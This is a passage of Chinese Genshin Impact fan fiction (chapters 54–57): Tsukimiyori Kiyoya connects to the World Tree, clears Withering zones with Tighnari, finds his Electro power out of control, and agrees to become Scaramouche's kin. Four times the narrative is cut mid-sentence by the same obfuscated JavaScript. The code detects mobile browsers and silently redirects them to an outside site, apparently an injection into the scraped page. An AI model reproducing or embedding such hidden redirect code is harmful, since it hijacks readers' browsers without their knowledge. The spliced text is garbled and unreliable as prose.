这点月见里清也倒不意外,想要净化知识里的污染,估计要从源头处理,世界树里要是有记载如何去除深渊侵染的方法,恐怕情况都不会像现在这么糟。 月见里清也席地而坐,心中好不郁闷,小煤球坐在他身旁淡定地舔着自己的爪子,此刻一人一猫的悲欢并不相通。 “要不要试着问一下深渊是如何出现在提瓦特的?”月见里清也看着小煤球,随口问道。 小煤球转头咬了他一口,显然不同意他这个不要命的行为。 “嘶……松口,你还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136547|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬啊。”月见里清也看着手上的牙印,一伸手将猫捞过来,坏心眼的将它的毛揉乱,“不问深渊了,问问你。” 世界树中不应当出现活物才对,那这只猫又是从何而来,为什么又要帮助自己? 但是月见里清也看着小煤球一脸人畜无害的模样,又把心里那点怀疑压了回去。 小猫能有什么坏心思呢。 他的手刚碰上世界树,无数画面从他眼前飞驰而过,最终定格在一片火海之上,在火海之中矗立一颗银白色的古树,树干崩裂出火星,正在一点点丧失生机。下一瞬,了无生机的古树汲取着不知从何处而来的养分,枯败的枝干中抽出新叶,重新长成了一棵贯穿天地的银白古树,从下望去,银白色的枝叶灿若繁星。 烧却的灰烬变为了世界树。 月见里清也不知怎么,看着眼前的场景,心中怅然若失,眼前一酸,几乎就要落下泪来。 这种情绪来的莫名其妙,在这一瞬间里,仿佛自己不再是自己,直到新生的世界树在他眼前逐渐扭曲、失真,最后消失,月见里清也才从这股情绪中抽离。 月见里清也睁眼,正好看见怀里的小猫将爪子从树上收回来,一副想从他怀里溜走的模样。 他一时间不知道到底该震惊世界树曾被烧毁过,还是应该搞明白那些莫名的情绪从何而来,只好眼疾手快按住准备逃跑的小猫,问:“你到底是谁?” 明明想的是关于小煤球的事,眼前的画面却是枯后重生的世界树,难不成它是世界树意识的化身? 这个念头刚出现的一瞬间,就被月见里清也自己否认了。 大慈树王才是世界树的化身,她的意识与世界树互通,如果世界树有意识化身,那出现在他眼前的也应该是大慈树王才对。回想着刚才从世界树看到的画面,世界树重生前,一场大火差点将它烧成灰烬,月见里清也想起自己初见小煤球时,也是在深渊魔物拟态出的火海里。 深渊有种魔物会读取地脉记忆,拟态成提瓦特生灵的样子,少数情况下,深渊也会直接拟态出一片极其凶险的环境。总之,在深渊能读取到的记忆里,凡是最强大,最能引起生灵恐惧的事物,都在深渊的素材库里。 只是对于月见里清也而言,这场大火并不能让他恐惧,那就只能是眼前的小煤球了。 从刚才仅仅持续几秒的画面来看,很显然小煤球不想让他多看才故意打断,月见里清也问:“你怕火?” 不知是不是听到了“火”这个字眼,小煤球抖了抖耳朵,伸爪子轻轻地拍了他两下,仿佛是在安慰他。 月见里清也:“……” 我不是说我怕火。 虽然和小动物交流的技术有待提升,但也不妨碍他推测现状。 既能控制世界树又怕火,小煤球就算与大慈树王无关,也与世界树脱不开关系,极大可能是世界树重生之前残存的意识。 那场大火几乎将世界树焚烧殆尽,如果他是残存的意识,怕火也在情理之中。只是一个比大慈树王的存在还要久远的存在,跟自己又有什么牵扯呢? 或许这就是博士推举他作为神明罐装知识提取人选的原因,一切兜兜转转,又重新回到了那块核心断片身上。 54.神明和他的眷属 强制断开与世界树连接的滋味并不好受,但没办法,他没有自主断开连接的权利。 月见里清也每次连接世界树都有时间限制,时间不到,学者不会断开连接,他也无法主动回去,必须要待够一定时长。 只不过这次是例外,月见里清也看了一眼墙上的钟表,才下午一点,提前结束了四个小时。 不管出于什么样的原因,能提前下班就足够让他心情愉快的了,只不过实验室内的其他学者没有他这样的好心情。 因月见里清也故意控制不接触深渊,加上呆在世界树的时间太短,这次提取出来的知识数量大打折扣,连上次的一半都没有。这些知识虽然被学者认定为“神明知识”,但要想制成神明罐装知识还要进一步分类提取,就今天这点数量,恐怕连一份罐装知识都做不成。 但学者们也不好当着月见里清也的面说什么,只是告诉他可以稍作休息,一会会有人来接他。 月见里清也一点头,眼看自己留在这也帮不上什么忙,先离开了实验室。 他这个唯一的“外人”一走,实验室的气氛终于活络了起来,一些不好意思当着他面将的话也终于可以开口。忙着整理器材的学者说:“今天忙活了半天才收集了这么一点,等下老师回来又要挨骂了。” “今天也算事出有因,老师应该也能理解吧。”另一个学者说。 “老师那边是能这么说,你能指望大贤者能这么通情达理?等时间一久,他一看效率上不去,又把阿如村的计划重新提上日程就好了。”整理器材的学者嘟囔着。 “那你的意思是人家就该冒着变成疯子的风险给你玩命的干?”另一个学者反驳道,“你可怜那些学者,但人家也没做错什么吧?” 两人说话没收住声音,其他学者也没忍住开口,“以一个正常人来说,能接触那些知识不疯已经是奇迹了,让人长时间高强度的链接世界树就已经很过分了。” “现在这样总比让我们去阿如村提取那些疯学者脑子里的知识,大家又不是没见过。本来人就疯了还要再被折磨,这已经是最好的办法了,我们挨点骂也没啥。” 大家七嘴八舌的谈论着,没人注意到实验室的大门没有关严,也没人注意到已经走出实验室的月见里清也去而复返,靠在门外静静地听着,将他们的话一字不落的听完了。 这时,学者口中要接他的人来了,他看着走廊远处的人影,挑了挑眉,留在原地没动。 卡斯珀远远地就能望见月见里清也抱着手靠在墙边,也不知道他在凹什么造型,张嘴就要喊。 但月见里清也先一步做了个噤声的手势,冲他招了招手。 卡斯珀不明所以,带着一脸疑惑走过去跟他一块听墙角。 实验室里对月见里清也的争论已经逐渐变成了对大贤者的声讨,一位学者情绪上头,“说到底还是大贤者……” 话还没说完,一位看上去很稳重的学者重重地咳嗽两声,打断了这场七嘴八舌的对话,“行了,发发牢骚就够了,抓紧时间干自己手里的活。” 这一句话就像往在坐所有学者头上浇了盆冷水,那位情绪上头的学者憋红了脸,尴尬的干咳一声,转头忙着自己的事去了。 实验室重新沉寂下去,已经没有什么好听的了,月见里清也这才带着卡斯珀静悄悄地离开,没发出一点动静。 等离开了那条走廊,卡斯珀拍了拍他,“别在意,在工坊里愚人众和教令院的关系也就那样,为了合作的表面关系而已。” 他知道月见里清也不在乎这些事,安慰的也不怎么走心,只是月见里清也留在那里并不是想听教令院学者怎么背后说他,是为了他们口中的另一件事,“阿如村是什么地方?” “须弥沙漠里的一个村庄,离防沙璧不远。按照学者的说法,近几年变成了流放那些疯学者的地方。”卡斯珀说,“你问阿如村干嘛?” 如果没有自己的参与,这些接触深渊过深渊的学者,就会被教令院以流放的名义带往沙漠,再悄悄地将这些知识从他们的脑中提取出来,制成所谓的神明知识,再将人扔在阿如村里。 “没什么,只是在想从某种方面来说,大贤者和博士还真是对撇。”月见里清也冷笑一声,转了话题,“那两位又有什么指示?” 有了提取神明知识的铺垫,博士和教令院给他安排什么他都不意外。 说起这个,卡斯珀想起刚刚接到的通知,欲言又止,“具体说起来有些麻烦,这次不是他们的主意,是大人的,他要求教令院给你‘升格’。” 月见里清也一顿,“你说什么?” 卡斯珀抿了抿唇,看了一眼随时会有人出现的走廊,扯着他拐入死角说:“按照之前教令院想法,你仅仅是作为降神计划的工作人员参与这个计划,但现在大人是是要你作为适格者同他一起参与降神。简单来讲,他要求你作他的‘眷属’。” 远处传来几句教令院学生的交淡声,隔得太远听不真切,月见里清也一时间没有搭话,卡斯珀拿不准他的想法。 “恐怕教令院和博士不会这么轻易地同意吧。”良久,月见里清也才开口说了这么一句,听不出情绪。 “这点大人也考虑到了,所以他一开始跟教令院提出的要求是,你与他一同登神。”卡斯珀说。 散兵一早就预料到教令院的态度如何,所以他才提出要月见里清也一同登神的想法,再慢慢的降低自己的条件,看似让步,实则不动声色的达成了自己的目的。 而就像他能预判教令院的想法,他对月见里清也的想法也一清二楚。 早在卡斯珀找月见里清也之前,散兵就先一步找上卡斯珀,很有耐心地将当时情况说明。他知道月见里清也一定会问,所以才尽可能详细地复述了一遍。甚至为了月见里清也,临时抽调了卡斯珀。 “至于我,是他指定的主负责人,负责你之后一切关于你的项目。”卡斯珀原本以为月见里清也听到这些消息后会有些震惊,但月见里清也出人意料的平静,或者说表面上很平静。 月见里清也点点头,问了一个与现状不相干的问题,“他来找过你?” “就半个小时前吧,他刚走我就来找你了。”卡斯珀说,“你没别的要问了的?” “没了。”月见里清也答得干脆,示意卡斯珀卡斯珀继续带路。 他也没问要去哪里,要干什么,心不在焉地跟在卡斯珀身后,两人一路无言。 在得知这个消息后,除了一开始的惊讶,剩下更多的是果然如此。 他倒是丝毫不意外散兵的举动,他只是惊讶散兵向教令院提出的时机。 毕竟他们才刚来没几天,就算散兵是教令院的“神明候选人”,在双方都不熟,散兵还没正式登神之前,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148731|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的分量在教令院心里恐怕还不如博士重。 能让教令院同意这看起来有些过分的要求,恐怕散兵废了好半天口舌。 然而事实并非如此,不光月见里清也没想到,恐怕博士也没想到兢兢业业为后续实验铺就道路,反倒成了他人嫁衣。 第二席的士兵不知道自家执行官回来为什么脸色那么难看,一个个小心翼翼生怕惹祸上头,最终这顿火还是落到了一个倒霉蛋的身上。 这个倒霉蛋不是别人,就是负责给月见里清也带路的士兵,名为带路,实则监视。但他今天失魂落魄的,问他月见里清也去哪了,他也支支吾吾的说不上来。 自从月见里清也早上挑明了那件事,士兵一直没敢露面去见他,自然也不知道他被卡斯珀带去哪里。 月见里清也说的没错,士兵的确知道那场意外的真相,不光知道,可以说月见里清也能受那样重的伤也有他的一份功劳。 也正是因为那件事对他的刺激太大,他害怕了,在那之后从一个实验室助手变成了一个不起眼的小士兵。 远离实验室之后,他将那件事埋在心底,不去想不去问,就当它不存在,从来没发生过。但是当他再次见到月见里清也时,他发现这件事始终是他无法迈过去的坎。 他用那点好意试图从月见里清也口中听到几句好话,来慰藉自己一切都过去了,却不曾想现实终究是给他当头一棒。 士兵挨了一顿罚,身心俱疲的回到宿舍里,却不想这间小小的单人宿舍里有位客人在等他。 这位客人全身上下被一件斗篷遮了个严严实实,看上去不像个好人,士兵瞬间打起十二分精神,“你是谁?” 少年轻声笑了笑说:“别紧张,我知道你想过正常生活,不想再被过往阴影捆束了,对么?” 士兵没回话。 “可怜的人啊,这事很简单,我可以帮你。”少年说,“来做个交易吗?” 卡斯珀没说去哪,月见里清也原本以为是去工坊,结果没想到卡斯珀带着他一路离开教令院,往须弥城以南的雨林走去。 雨林水汽重,卡斯珀的尾巴毛被弄得湿乎乎的,他边走边烦躁地甩尾巴。 越往深处走,四周的野生动物和魔物就越多,看着四周荒无人烟的模样,月见里清也终于没忍住开了个玩笑,“你该不会是想把我拐深山老林里卖了吧。” “你看我敢吗,上一秒把你卖了,下一秒大人就得取我项上人头。”卡斯珀说着往前一指,“到了。” 月见里清也顺着他的视线看去,见眼前的空地零零散散的站着几个人,再往前的雨林笼着一片灰雾,隐隐约约能看见有活物在动,剩下的就看不分明了。 卡斯珀将一个装置递给他说:“收好,这是一会战斗测试收集数据用的,我们会根据这些数据给你量身定制方案。” 他借着给月见里清也固定装置的动作,小声说:“那边站着的都是巡林员,他们不知道教令院的计划,别说漏嘴。他们一会会给你演示清楚死域的方法,看着就是了。” 月见里清也没搭话,看着远处的几个巡林员,其中有个绿头发的小姑娘看起来有些眼熟,对方也注意到了他的视线,看过来时愣了两秒,有些意外。 “眼熟?”卡斯珀毫不意外,跟他解释道,“你顺手从第二席手里救下来的女孩,柯莱,这片死域是她发现的。” 55.元素力失控 月见里清也前几天刚听卡斯珀讲过,对她还有印象,他没贸然上去搭话,只是远远地冲她一点头。 两人视线相交不过短短几秒,距离又隔得远,没人注意到。 月见里清也随后到一旁按照卡斯珀的指示调试设备,等到他回来的时候,巡林员队伍里已经没有了柯莱的身影,取而代之是一个长着狐耳和毛茸茸大尾巴的少年。 他看了看少年的尾巴,又看了看卡斯珀的尾巴。 就是不知道摸起来那个手感更好一点。 月见里清也正想着一抬头,刚好对上卡斯珀的视线,他有些尴尬的咳了一声,装作无事发生的样子。 “除了参与降神计划计划的教令院学者外,其他须弥人都不知道教令院在搞什么名堂,对外,我们只是说这次是来测试某战斗装置在不同环境下的实验数据的。”卡斯珀小声说道,“考虑到寻常魔物很难发挥出你的全部实力,我又不可能拉着你下深渊,思来想去,只有死域合适一点了。” 月见里清也闻言扫了一眼被卡斯珀带过来的几个“科研人员”,都是些没穿制服的愚人众士兵,在须弥人眼里的确是群外国人。 他跟着卡斯珀走向那群巡林员,同样压低声音回道:“那你还找巡林员干什么,这总不能比深渊还危险吧?” 跟深渊肯定是没法比的,卡斯珀正思考该怎么回复他,旁边一道清朗的声音插了进来,“死域是须弥雨林中一种独特的异变现象,它会使植物枯萎,也会夺走动物与人类的生命,即使是神之眼持有者,也只能抵挡一时的侵害,是一片极其危险的区域。不过你们不知道也很正常,为外地旅人科普死域危害也是我们巡林员工作的一部分。” 这句话自然是那位狐耳少年说的,他说话不疾不徐,很有条理,或许这就是人与人之间的差距吧,即使少年是在反驳月见里清也的话,也不会让他有任何不快。反观博士,明明是在表达关心,月见里清也听完后却想骂人。 “我的听力比寻常人好些,听到你们的对话了。”狐耳少年笑着说,跟两人打了招呼,“道成林巡林官提纳里,你们好。” “你好,月见里清也。”月见里清也回道。 至于卡斯珀,虽然是他联络的提纳里,但也就比月见里清也早认识几小时,对这位巡林官不甚了解,客气道:“提纳里先生,如果没有其他事情的话,可以开始了。” “不用这么客气,叫我提纳里就好。”提纳里说,“都准备就绪的话,那跟我来吧。” 提纳里带着月见里清也来到死域前,在这样的距离下能够透过灰雾将死域里的情况尽收眼底。 正如提纳里所说,死域里的植物全部枯萎,空气中飘散着像灰烬一样的东西,如同被大火焚烧过后,一切都死寂沉沉的样子。然而在这样的环境里,里面仍有魔物在游荡。 清除这些魔物对月见里清也来说小菜一碟,他将长刀拿在手中,结果下一秒提纳里早有预料的将他拦住。 “别着急,看那边。”提纳里说着往死域边缘一指,透过灰雾能隐约看见里面有几个散发着红光的植物,“那些是维持死域的枝节,只有破坏这些枝节,才能摧毁作为核心的死域瘤,彻底根除死域,只清除魔物是没有用的。” 作为新手的月见里清也静静地听着提纳里讲注意事项,视线跟随着他手指的方向看去,只不过这次看到的东西有点类似于稻妻的雷种子。 结果不出所料,二者是相同的东西,只不过从雷樱枝条中的雷种子,变成了祥草杨枝里的草种子,甚至连使用方式都是相同的。 “只有借助草种子的力量,才能破坏死域里的枝节与死域瘤,让片区域恢复正常。”提纳里说着拿出弓箭,手指搭在弦上,“这片死域我会跟你一同清理,在里面一定会感到非常不适,支撑不住一定要退出来,不要硬撑。” 月见里清也点点头,跟提纳里一同踏入死域。 刚进入死域,月见里清也就立马感到一阵不适,只是他对这种感觉非常熟悉,甚至知道该如何适应它,并且长时间地呆在这种环境里。 这种感觉与探索深渊时的感觉极其相似,进入死域的一瞬间,他差点误以为自己又回到了在地下深处的深渊遗迹。 草种子与雷种子的用法基本相同,月见里清也上手很快,在两人通力合作下森林恢复了原本样貌。 “看来他们说的不错,你的实力的确不差。”提纳里边说边看向迎上来的卡斯珀等人。 “还好,多亏有你在一旁照应。”月见里清也礼貌地客套了一下,“这种异变情况在雨林很常见吗?” “以往死域的出现频率都还在可控范围之内,只是最近死域出现的速度明显变快,即使清楚了一个,仍会有新的死域在不断生成。”提起这个提纳里语气里有一些担忧。 死域对雨林的影响并不会随着死域被清除而消失,许多物种受到影响已经极度濒危了,也不怪提纳里提起死域如此担忧,对巡林官来讲,无法彻底根除死域确实是一个棘手的问题。 等到确认月见里清也的确学会了如何清除死域,以及如何在死域里保证自己安全后,提纳里才放心离去,不过为了以防万一,他还是留了几个巡林员跟着他们。 就算没巡林员带着,死域也并不难找,一口气清除了几个死域后,卡斯珀把水壶递给月见里清也,“休息会?” 月见里清也接过水壶拧开瓶盖灌了一口水,摇了摇头说:“不用,我刚刚有了点头绪。” “什么头绪?”卡斯珀问。 他没有神之眼,自从转技术岗之后,若非必要情况下不会使用邪眼,月见里清也清除死域时只能站在外围看,并不知道里面的具体情况如何。 这点月见里清也也知道,“我在死域里的时候能感知到,它与深渊的气息非常相似,还记得咱们曾经在深渊勘察的时候吗,有的遗迹里深渊污染会有多种形态。” 卡斯珀听懂了,“你是怀疑死域的生成与深渊有关。” 月见里清也点点头,把水壶还给卡斯珀。 深渊被称为提瓦特的禁忌不是没有原因的,近段时间一直活跃的死域,正好与世界树内部深渊侵染对上。死域的出现或许正是世界树遭受侵染的证明,而教令院却将此奉为神明知识。 月见里清也不知道说什么好,但他不会轻易下结论,具体如何,还是要等多接触几个死域再说。 卡斯珀见他头也不回地往地图标注的下一个地点去,连忙跟上去,千叮咛万嘱咐道:“这次只是收集数据,不是探索死域。” “可是我不用全力,你们也很难办吧?”月见里清也说着注意到卡斯珀难看的脸色,眉眼一弯,“知道了,收着力呢。” 卡斯珀的担忧并非杞人忧天,他们都知道长时间接触深渊的后果是什么,即使当初散兵和月见里清也下深渊时都有防护和元素力护体,但仍是不可控的受到了影响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166326|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这点影响并不妨碍日常生活,但一旦打起仗来,二人都有一种不要命的疯劲。不过这点影响已经许久没有出现过了,卡斯珀要不提,月见里清也早就忘干净了。 一是因为他们远离了深渊,又过了这么长时间;二是他们的实力在这里,很难碰上旗鼓相当的对手,一般的小打小闹还不至于让他上纲上线。 面前的死域是地图上标注的最后一个死域,也是今天清除的死域当中面积最大的一个。 月见里清也刚踏入就感到不对劲,如果说前几个死域只是和深渊有些相似,那现在这个死域就和深渊一般无二。 眼前的空间被兽爪撕裂,看着马上要扑倒自己身上来的兽境猎犬,月见里清也露出一个了然的笑,心想:这样才对。 伴随着深渊出现的魔物却出现在死域里,这更加证明了死域是深渊污染的一种体现。 也许是因为最近接触深渊太过频繁,他仅仅是在里面待了几秒,某个念头不受控的从脑海冒出,踩在他的理智上叫嚣自己的存在。 只是月见里清也刚顺着这念头想下去,它就瞬间消失的无影无踪,甚至无法回想起关于它的任何事情。与此同时,月见里清也手腕发力,下意识挥刀斩向面前的魔物。 只是这次伴着长刀已经刺入兽径猎犬体内的不再是流水,而是无数跳跃的电弧。月见里清也猛地回神,见电弧彼此缠绕相连,如同游蛇一般缠住兽境猎犬,又以此为中心,瞬间蔓延缠绕到其他魔物身上。 不止魔物,电弧还缠住了死域的枝节。魔物哀嚎着,电弧却越聚越越多,月见里清也手上一用力,那些魔物连同死域一起,化作了能被风一吹就散的细沙。 一切都在转瞬之间,月见里清也怔愣地看着周围森林恢复了郁郁葱葱的样貌。在获得神之眼之后,他就很少使用雷元素力了,因为跟神之眼相比,他自身的雷元素的威力远不如神之眼强大。 但在刚刚,他不光下意识的使用了雷元素,而且那些元素力前所未有的强大,甚至净化了死域。 死域消失的一瞬间,卡斯珀眼前的显示屏上的数据陡然达到一个峰值,心里一紧,急忙跑了过去。但月见里清也好好的站在原地,看起来没有什么不对劲的地方。 月见里清也在手上搓了一个水元素球,朝远处掷出去,轻飘飘地落在地上,只吓走了一只盗宝鼬。 紧接着他又催动起雷元素,搓了个同样大小的球,变换方向,特意朝着没有树木的空地扔去,同样的大小和力度,这次掷出去的雷元素威力不亚于一场小型爆炸。 看着地上电击的痕迹,月见里清也皱了皱眉,若有所思的盯着自己的手。 与此同时,卡斯珀手上的装置发出急促的“滴滴”声,提醒他数据再一次升高。他抹了把脸,按住月见里清也,“我有必要提醒你一下,放火烧山,牢底坐穿。” 月见里清也闻言笑了一下,凝重的神情有些松动,“出了点小状况。” 就算他不说,卡斯珀也能从这些异常数据里看出来,深吸一口气,“你说。” “我控制不住自己的元素力了。”月见里清也用着最平淡的语气,说出了让卡斯珀心率飙升的话,“或者说,我好像不太了解自己。” 或许是因为最近怪事太多,月见里清也并不惊讶,甚至有些麻木。自从来了须弥,诸如此类的怪事接踵而至,就好像前半生的悠然时光已经逝去,他该面对自己的命运了。 56.“深渊过滤器” 自身能力失控事关重大,不管出于朋友之间情谊,还是作为升格负责人的职责,卡斯珀都没理由帮月见里清也瞒着这件事。 散兵离开降神工坊哪都没去,带着晚风打开房门,月见里清也显然也是在等他,两人四目相对,看到对方的一瞬间同时出声: “你就没有什么想对我说的?” “你元素力怎么回事?” 两人闻言一愣,月见里清也率先笑出声,先回答了他哥的问题:“暂时不严重,与其说是失控,不如说是我无法正确使用核心的力量才导致出现失控的现象。” 见散兵不信,月见里清也索性站起来在散兵面前转了一圈,让他自己看。 不管是用肉眼查看,还是用元素视野,月见里清也身上的确没有什么异常,唯一不同的是他胸口位置,代表核心的雷元素光点比平时里更亮了些,波动也有些紊乱。 散兵见状安心了一些,但神樱核心几百年都不曾出现异状,为什么今日却突发异状,月见里清也今日做了什么事,见了什么人,他都要一桩桩的问清楚。 散兵事无巨细的问了一遍,月见里清也也十分配合,但要说自己近几日干过最不同寻常的事,恐怕就是接触深渊过于频繁了。 从连接世界树发现有深渊污染,到今天清除死域,来到须弥的这几天里,他几乎每天都在和不同形态的深渊打交道。 神樱树或许是最特殊的一种地脉,因为它有净化地脉污秽的能力,只是在月见里清也近五百年的人生阅历里,神樱核心没有一次展示过它的特殊,如同路边的树枝一样普通。 “在稻妻的时候,八重神子跟我提到过,神樱核心最特殊的地方在于,它相当于一个地脉,拥有存储记忆转化为能量的作用,她跟我提到过,‘过满则溢’这四个字。”月见里清也说。 核心将记忆转化为力量,力量即将达到核心所能承受的上限,所以他的元素力才会增强。在存储即将达到上限的时候,他下意识使用出的雷元素就是为了防止他无法承受这部分力量从而外泄的一种手段。 早在他探索深渊时期,由于这部分力量还远远未到需要溢出来保护自身的程度,那时候的月见里清也能够使用的雷元素就是普通的元素力,力量等同于元素生物,没那么强大,也没有净化污染的功能。 直到今日,在他长时间接触深渊后,许多年前留下的后遗症又犯了,那些疯狂的念头出现的一瞬间,神樱的特性就被激活了。 净化污秽,保障自身的安全,这么看来核心被激活未尝不是一件好事。只是他自己无法控制这部分力量,不能自行疏导,这个核心也就变成了定时炸弹。 散兵有些头疼地揉了揉眉,谁也不知道这些力量超过储存上限后会怎样,“在八重神子的设计理念里,核心是为你活着而存在的,并不会设计成无解的局面,倘若你无法疏导这部分力量,只能考虑人为干预了。” 月见里清也比他乐观一点,“总归是可以使用的力量,出现在我体内,没道理我控制不住。如果能主动控制这部分力量,也就解了当前世界树污染的燃眉之急。” “我暂且不考虑人工干预,你今天刚向教令院宣布了我的身份,转头我就因为能力失控不得不进行人工干预。”月见里清也顿了顿说,“太丢脸了。” 不管是他自己的脸,还是散兵的威望,全都碎一地。 散兵没好气道:“面子比命更重要?” 月见里清也挑眉,“我觉得你应该相信我。” 按照他的想法,这或许是清除世界树污染的一种方式,不管是出于眷属的名头还是身为弟弟的身份,他自然也是要替散兵考虑。 两人相顾无言,月见里清也迎着他哥的目光丝毫不退让,最终散兵率先败下阵来,退了一步。 “行吧。”散兵说,“给我一个期限。” “神明罐装知识收集完成之前。”月见里清也说。 教令院通过了让月见里清也升格的要求,就意味着他也必须进行生体改造,为了不拖慢整个降神计划的进度,大贤者势必要加快神明罐装知识的提取速度,留给月见里清也的时间没有多少了。 这个时间在散兵接受范围之内,他闻言没有什么异议。月见里清也安静等了一会,终于意识到自己不问,散兵是什么都不会说的。 “老实说,你选的这个时机有些出乎我意料。”月见里清也说。 散兵明知故问:“你指的是?” “这不是显而易见吗,”月见里清也叹了口气,“你难道希望我质问你为什么要选我当眷属吗?” “哦,这件事。”散兵语气一如往常,“有些事情是注定会发生的,早一些晚一些都不会改变它会到来的事实,但总有些人总打别人的主意,不吃点亏,怎么让他长记性。” 月见里清也总感觉散兵话里有话,这说的好像并不是教令院,反而是博士。 散兵忽然扯住他的衣领,拽得他一个踉跄,慌忙间只好撑住散兵身旁的桌子,逼得他只能弯腰俯身看着坐在椅子上的散兵。 两人距离骤然拉近,月见里清也想往后撤,但散兵手劲大的出奇,一时间只能僵在原地。 “你的生体改造不包含机体连接,改造完成后你依旧可以自由行动,不会因为‘眷属’的身份被捆束在机体内。”散兵轻声说着,手上的力道渐松,“成为神是我诞生的意义,清也,但这不是你的。” 机体链接一旦成功,被改造者的身体就会与机体完全绑定,从此失去自由,无法单独行动。月见里清也本以为自己也会同散兵一样进行机体链接,但散兵早就为为他选择了第二条路。 眷属这个捆绑性相当高的词汇,此刻却被他赋予了“选择”的意义,月见里清也是他的眷属,同时也是月见里清也自己。 就像这五百年来散兵从未要求过他该学会什么,不该学什么,一切的选择的权利都在自己手里。他如果不想,甚至可以不进行改造。 月见里清也眨眨眼,笑了,伸手握住他攥着自己衣服的手,不轻不重的捏了一下说:“追随你已经成为我的意义了。” 从拿到神之眼的那一刻起,这条道路就已经不允许他回头了。 从诞生之初,他们就已经与创作者渐行渐远,但在这种人生经历完全相反的情况下之下,他们总是能选择创作者当初选择过的答案。 就像雷电影选择了一直陪伴她的友人八重神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176227|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子作为她的眷属,斯卡拉姆齐选择了从未离开过的月见里清也。 或许这就是命运。 很像,但又不像。 一切都像月见里清也说的那样,第二天大贤者宣布加快神明罐装知识的的进程,为月见里清也后续的生体改造留出时间。 这也就代表着,留给月见里清也连接世界树的机会不多了,他要 随着连接世界树的次数变多,连接造成的不适感也在逐渐减弱,月见里清也与世界树建立连接也越发迅速。 轻微的失重感消散后,月见里清也一睁眼,眼前又是泛着红色的天空,月见里清也一低头,就跟蹲在他脚边上的小煤球四目相对。 小煤球显然已经忘记了上次的做贼心虚,歪着头看着他,夹着嗓子“喵”了一声。 “虽然不知道这里有没有早上,但是早上好。”月见里清也打了声招呼,单手抄起小煤球,向着世界树走去。 “你能离开世界树吗,要不要我收养你?”月见里清也有一搭没一搭的聊着。 小煤球没有回话,但月见里清也已经知道答案了。 诞生于世界树的意识不能离开世界树,就像诞生于人类之手的神明不能离开人类为他建造的机体。 他笑了笑,轻轻地将小煤球放在地上,过了好久才开口道:“我能连接世界树机会不多了,恐怕就一两次了。” 小煤球愣了愣,呆呆的看着他。 月见里清也不会安慰人,更别提一只猫,只能平铺直叙的讲出缘由,也不管面前的小猫能不能听得懂,“制作新的机体和生体改造都需要时间,如果我的设想能成功,神明罐装知识或许这两天内就能收集完成,” 如果他今天能够控制住核心储存的力量,净化掉“神明知识”里的污染,那他就没必要在世界树里跟教令院拖延时间了。看着面前的小家伙,本来想说以后或许还有机会再见,只是这句话他最终也没能说出口。 “以后”是多久以后,他也不知道,或许是在散兵掌握了世界树全能后,或许永远也没有这个以后了。 月见里清也率先移开视线,起身向着世界树走去,小煤球这才回过神,终于反应过来他刚才那番话是是什么意思,追到月见里清也身旁,急促的叫着,扯着他的衣角往后拖。 只可惜月见里清也已经下定决心,小煤球阻拦未果,跳到一边大声“喵喵”叫着,听上去像在骂人,骂的还挺脏。 月见里清也看着它大声骂人的模样,没忍住笑出了声。 小煤球像是受到了侮辱,干脆直接扭头背对着他,任凭月见里怎么叫都不回头。 ……气性还怪大。 正事要紧,月见里清也转头看着世界树,深吸了一口气。 从昨天在死域的情况可以看出来,身影核心可以自动锁定他身体里和周围环境的深渊力量,而他可以利用这一特性,净化掉接触他所接触的知识,这些被净化过滤后的知识就会被学者提取,变成对人无害的知识。从某种方面来说,他把自己当成了一个深渊过滤器。 而在这一过程中,不出意外的话,他也能逐渐掌握这种力量的使用,将这种被动触发的力量,转化为能自主控制的主动。 57.物归原主 月见里清也的初步设想是好的,实行起来也没有出什么意外,只是结果有些不尽人意。 他面色复杂的看着眼前的罐装知识,跟前几日相比,今天收集的罐装知识已经变为淡红色,他趁着没人注意,随手挑了一罐。 